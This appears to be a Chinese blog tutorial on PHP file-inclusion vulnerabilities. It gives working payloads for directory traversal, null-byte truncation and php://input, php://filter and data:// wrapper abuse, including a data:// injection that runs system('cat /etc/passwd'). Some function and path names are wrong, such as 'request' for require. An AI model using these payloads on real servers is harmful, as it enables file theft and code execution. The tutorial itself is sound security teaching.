0x00 基础
包含函数:
函数 | 概况 |
---|---|
include ( & <&伪协议>) |
在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行 |
include_once ( & <&伪协议>) |
只包含一次,其它同上 |
request ( & <&伪协议>) |
在包含的过程中如果出现错误,会直接报错并退出程序的执行 |
request_once ( & <&伪协议>) |
只包含一次,其它同上 |
file ( & <&伪协议>) |
把整个文件读入一个数组 |
fopen ( & <&伪协议>,$) |
打开文件或者URL(包含伪协议),搭配fread()和fgets()使用 |
readfile ( & <&伪协议>) |
读取并输出文件(不输出php代码),返回字节数 |
highlight_file ( & <&伪协议>) |
高亮输出代码 |
show_source ( & <&伪协议>) |
同上 |
file_get_contents (( & <&伪协议>) |
把整个文件读入一个字符串 |
php配置文件:php.ini
allow_url_fopen=<bool>:允许获取远程url文件信息
<?php
file_get_contents("http://127.0.0.1/test.php/") //如:file()、file_get_contents()
?> 注:url后要加"/",只能获取php信息,不能获取https协议信息。
allow_url_include=<bool>:允许包含运行远程url文件和部分伪协议(‘php://input’和’data://’)
<?php
include('php://input') //如include()、request()
?>
0x01 文件包含
include($path)及其类似函数会包含其他文件,默认所有文件都当作php执行,不能运行则输出字符串。
<?php
include(test.php) //运行test.php
?>
<?php
include('http://127.0.0/test.php') //运行test.php
?>
/etc/passwd //用户信息文件
/etc/my.conf //mysql配置文件
/etc/php/ini //php配置文件
<?php
include('/etc/password');
?>
- 目录遍历
<?php
$a=$_GET['a'];
include('/var/www/html'.$a); //越权读取文件 ?a=../../../passwd
?>
- 00截断
00截断究其原因是因为chr(0)这个字符,也就是ascii码第一位字符,这个字符会忽略后面的字符,从而达到截断的目的,它的url编码是 %00,十六进制是0x00,00截断漏洞存在于php5.2.0及更低版本中。
<?php
$a=$_GET['a'];
include($a.'/var/www/html/1.txt') //截断后面字符 ?a=/etc/passwd%00
?>
0x02 伪协议
php://input
(allow_url_fopen=0&allow_url_include=1)
获取post数据 ,可以使用file()和file_get_contents()读取数据
<?php
$a=file('php://input');
$b=file_get_contents('php://input');
print_r($a);
echo $b
?>
也可以使用include()等包含函数运行传入的数据代码
<?php
include('php://input') #post数据传入<?php phpinfo();?>
?>
php://filter
(allow_url_fopen=0&allow_url_include=0),base64编码读取源代码
<?php
include('php://filter/read=convert.base64-encode/resource=test.php');
?>
file://
(allow_url_fopen=0&allow_url_include=0),访问本地文件系统,必须用绝对路径
<?php
include('file:///etc/passwd') //读取本地文件
?>
data://
(allow_url_fopen=1&allow_url_include=1)传输数据
<?php
include('data://text/plain,<?php phpinfo()?>'); //传输php代码数据并运行
include('data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4='); //解码base64传输数据
include('data://text/plain,<?php system('cat /etc/passwd')?>');//利用命令执行读取本地文件
?>
来源:CSDN
作者:happysecurity
链接:https://blog.csdn.net/weixin_45617819/article/details/104705417